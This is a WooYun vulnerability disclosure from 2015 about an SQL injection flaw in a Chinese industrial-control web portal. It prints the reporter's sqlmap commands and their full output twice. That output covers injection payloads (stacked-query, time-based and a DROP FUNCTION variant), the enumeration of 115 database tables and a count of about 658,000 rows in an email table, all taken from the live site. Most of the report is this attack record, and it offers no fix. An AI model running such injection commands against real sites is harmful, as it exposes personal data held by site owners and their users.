当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151149

漏洞标题:中国工控sql注入泄露几十万人信息

相关厂商:艾讯宏达科技(北京)

漏洞作者: 残疾人

提交时间:2015-11-02 09:49

修复时间:2015-12-21 15:14

公开时间:2015-12-21 15:14

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:1

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-02: 细节已通知厂商并且等待厂商处理中
2015-11-06: 厂商已经确认,细节仅向厂商公开
2015-11-16: 细节向核心白帽子及相关领域专家公开
2015-11-26: 细节向普通白帽子公开
2015-12-06: 细节向实习白帽子公开
2015-12-21: 细节向公众公开

简要描述:

详细说明:

中国工控网的一处漏洞泄露几十万人信息,地址http://**.**.**.**/customer/grantech/news-detail.asp?id=3565
sqlmap -u http://**.**.**.**/customer/grantech/news-detail.asp?id=3565 -D agongkong -T dbo.email --count --thread=9
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151009}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:22:56
[22:22:56] [INFO] resuming back-end DBMS 'microsoft sql server'
[22:23:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)
Payload: id=3565;IF(3325=3325) SELECT 3325 ELSE DROP FUNCTION JFcL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=3565;WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=3565 WAITFOR DELAY '0:0:5'
---
[22:23:04] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[22:23:04] [INFO] retrieved:
[22:23:06] [INFO] heuristics detected web page charset 'GB2312'
658398
Database: agongkong
+-----------+---------+
| Table | Entries |
+-----------+---------+
| dbo.email | 658398 |
+-----------+---------+
[22:23:25] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 10 times
[22:23:25] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'
[*] shutting down at 22:23:25
数据库表都有一百多,懒得跑了
sqlmap -u http://**.**.**.**/customer/grantech/news-detail.asp?id=3565 -D agongkong --count --thread=9
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151009}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:16:25
[22:16:25] [INFO] resuming back-end DBMS 'microsoft sql server'
[22:16:25] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)
Payload: id=3565;IF(3325=3325) SELECT 3325 ELSE DROP FUNCTION JFcL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=3565;WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=3565 WAITFOR DELAY '0:0:5'
---
[22:16:28] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[22:16:28] [WARNING] missing table parameter, sqlmap will retrieve the number of entries for all database management system databases' tables
[22:16:28] [INFO] fetching tables for database: agongkong
[22:16:28] [INFO] fetching number of tables for database 'agongkong'
[22:16:28] [INFO] resumed: 115
[22:16:28] [INFO] retrieving the length of query output
[22:16:28] [INFO] resumed: 16
[22:16:28] [INFO] resumed: dbo.bbs_admin_jl
[22:16:28] [INFO] retrieving the length of query output
[22:16:28] [INFO] resumed: 24
[22:16:28] [INFO] resumed: dbo.bbs_admin_jl_content
[22:16:28] [INFO] retrieving the length of query output
[22:16:28] [INFO] resumed: 15
[22:16:28] [INFO] resuming partial value: dbo.bbs_conte
[22:16:28] [INFO] retrieved: __
[22:16:28] [INFO] heuristics detected web page charset 'GB2312'
[22:16:35] [INFO] retrieved: dbo.bbs_content
[22:16:35] [INFO] retrieving the length of query output
[22:16:35] [INFO] retrieved: 13
[22:16:50] [INFO] retrieved: dbo.bbs_reply
[22:16:50] [INFO] retrieving the length of query output
[22:16:50] [INFO] retrieved: 13
[22:17:09] [INFO] retrieved: dbo.cp_yanjiu
[22:17:10] [INFO] retrieving the length of query output
[22:17:09] [INFO] retrieved: 17
[22:17:30] [INFO] retrieved: dbo.download_hits
[22:17:30] [INFO] retrieving the length of query output
[22:17:30] [INFO] retrieved: 18
[22:18:03] [INFO] retrieved: dbo.downYhzlk_hits
[22:18:03] [INFO] retrieving the length of query output
[22:18:03] [INFO] retrieved: 16
[22:18:30] [INFO] retrieved: dbo.dtproperties
[22:18:30] [INFO] retrieving the length of query output
[22:18:30] [INFO] retrieved: 9
[22:18:41] [INFO] retrieved: dbo.email
[22:18:41] [INFO] retrieving the length of query output
[22:18:41] [INFO] retrieved: 16
[22:19:00] [INFO] retrieved: dbo.example_hits
[22:19:00] [INFO] retrieving the length of query output
[22:19:00] [INFO] retrieved: 13
[22:19:21] [INFO] retrieved: dbo.fk_yanjiu
[22:19:21] [INFO] retrieving the length of query output
[22:19:21] [INFO] retrieved: 18
[22:19:48] [INFO] retrieved: dbo.FlukePhotoVote
[22:19:48] [INFO] retrieving the length of query output
[22:19:48] [INFO] retrieved: 13
[22:20:13] [INFO] retrieved: dbo.HashGuess
[22:20:13] [INFO] retrieving the length of query output
[22:20:13] [INFO] retrieved: 14
[22:20:31] [INFO] retrieved: dbo.HashSlogan
[22:20:31] [INFO] retrieving the length of query output
[22:20:31] [INFO] retrieved: 13
[22:20:49] [INFO] retrieved: dbo.HashVideo
[22:20:49] [INFO] retrieving the length of query output
[22:20:49] [INFO] retrieved: 14
[22:21:25] [INFO] retrieved: dbo.hr_diaocha
[22:21:25] [INFO] retrieving the length of query output
[22:21:25] [INFO] retrieved: 13
[22:21:44] [INFO] retrieved: dbo.hy_yanjiu
[22:21:44] [INFO] retrieving the length of query output
[22:21:44] [INFO] retrieved: 14
[22:22:12] [INFO] retrieved: db_.info_grade 13/14 (93%)^C
[22:22:15] [INFO] waiting for threads to finish (Ctrl+C was pressed)
[22:22:18] [INFO] retrieved: dbo.info_grade
[22:22:18] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 743 times
[22:22:18] [ERROR] user aborted
[*] shutting down at 22:22:18

漏洞证明:

中国工控网的一处漏洞泄露几十万人信息,地址http://**.**.**.**/customer/grantech/news-detail.asp?id=3565
sqlmap -u http://**.**.**.**/customer/grantech/news-detail.asp?id=3565 -D agongkong -T dbo.email --count --thread=9
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151009}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:22:56
[22:22:56] [INFO] resuming back-end DBMS 'microsoft sql server'
[22:23:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)
Payload: id=3565;IF(3325=3325) SELECT 3325 ELSE DROP FUNCTION JFcL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=3565;WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=3565 WAITFOR DELAY '0:0:5'
---
[22:23:04] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[22:23:04] [INFO] retrieved:
[22:23:06] [INFO] heuristics detected web page charset 'GB2312'
658398
Database: agongkong
+-----------+---------+
| Table | Entries |
+-----------+---------+
| dbo.email | 658398 |
+-----------+---------+
[22:23:25] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 10 times
[22:23:25] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'
[*] shutting down at 22:23:25
数据库表都有一百多,懒得跑了
sqlmap -u http://**.**.**.**/customer/grantech/news-detail.asp?id=3565 -D agongkong --count --thread=9
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151009}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:16:25
[22:16:25] [INFO] resuming back-end DBMS 'microsoft sql server'
[22:16:25] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)
Payload: id=3565;IF(3325=3325) SELECT 3325 ELSE DROP FUNCTION JFcL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=3565;WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=3565 WAITFOR DELAY '0:0:5'
---
[22:16:28] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[22:16:28] [WARNING] missing table parameter, sqlmap will retrieve the number of entries for all database management system databases' tables
[22:16:28] [INFO] fetching tables for database: agongkong
[22:16:28] [INFO] fetching number of tables for database 'agongkong'
[22:16:28] [INFO] resumed: 115
[22:16:28] [INFO] retrieving the length of query output
[22:16:28] [INFO] resumed: 16
[22:16:28] [INFO] resumed: dbo.bbs_admin_jl
[22:16:28] [INFO] retrieving the length of query output
[22:16:28] [INFO] resumed: 24
[22:16:28] [INFO] resumed: dbo.bbs_admin_jl_content
[22:16:28] [INFO] retrieving the length of query output
[22:16:28] [INFO] resumed: 15
[22:16:28] [INFO] resuming partial value: dbo.bbs_conte
[22:16:28] [INFO] retrieved: __
[22:16:28] [INFO] heuristics detected web page charset 'GB2312'
[22:16:35] [INFO] retrieved: dbo.bbs_content
[22:16:35] [INFO] retrieving the length of query output
[22:16:35] [INFO] retrieved: 13
[22:16:50] [INFO] retrieved: dbo.bbs_reply
[22:16:50] [INFO] retrieving the length of query output
[22:16:50] [INFO] retrieved: 13
[22:17:09] [INFO] retrieved: dbo.cp_yanjiu
[22:17:10] [INFO] retrieving the length of query output
[22:17:09] [INFO] retrieved: 17
[22:17:30] [INFO] retrieved: dbo.download_hits
[22:17:30] [INFO] retrieving the length of query output
[22:17:30] [INFO] retrieved: 18
[22:18:03] [INFO] retrieved: dbo.downYhzlk_hits
[22:18:03] [INFO] retrieving the length of query output
[22:18:03] [INFO] retrieved: 16
[22:18:30] [INFO] retrieved: dbo.dtproperties
[22:18:30] [INFO] retrieving the length of query output
[22:18:30] [INFO] retrieved: 9
[22:18:41] [INFO] retrieved: dbo.email
[22:18:41] [INFO] retrieving the length of query output
[22:18:41] [INFO] retrieved: 16
[22:19:00] [INFO] retrieved: dbo.example_hits
[22:19:00] [INFO] retrieving the length of query output
[22:19:00] [INFO] retrieved: 13
[22:19:21] [INFO] retrieved: dbo.fk_yanjiu
[22:19:21] [INFO] retrieving the length of query output
[22:19:21] [INFO] retrieved: 18
[22:19:48] [INFO] retrieved: dbo.FlukePhotoVote
[22:19:48] [INFO] retrieving the length of query output
[22:19:48] [INFO] retrieved: 13
[22:20:13] [INFO] retrieved: dbo.HashGuess
[22:20:13] [INFO] retrieving the length of query output
[22:20:13] [INFO] retrieved: 14
[22:20:31] [INFO] retrieved: dbo.HashSlogan
[22:20:31] [INFO] retrieving the length of query output
[22:20:31] [INFO] retrieved: 13
[22:20:49] [INFO] retrieved: dbo.HashVideo
[22:20:49] [INFO] retrieving the length of query output
[22:20:49] [INFO] retrieved: 14
[22:21:25] [INFO] retrieved: dbo.hr_diaocha
[22:21:25] [INFO] retrieving the length of query output
[22:21:25] [INFO] retrieved: 13
[22:21:44] [INFO] retrieved: dbo.hy_yanjiu
[22:21:44] [INFO] retrieving the length of query output
[22:21:44] [INFO] retrieved: 14
[22:22:12] [INFO] retrieved: db_.info_grade 13/14 (93%)^C
[22:22:15] [INFO] waiting for threads to finish (Ctrl+C was pressed)
[22:22:18] [INFO] retrieved: dbo.info_grade
[22:22:18] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 743 times
[22:22:18] [ERROR] user aborted
[*] shutting down at 22:22:18

修复方案:

你们专业,我只是球个邀请吗

版权声明:转载请注明来源 残疾人@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-11-06 15:12

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式向网站管理单位通报。

最新状态:

暂无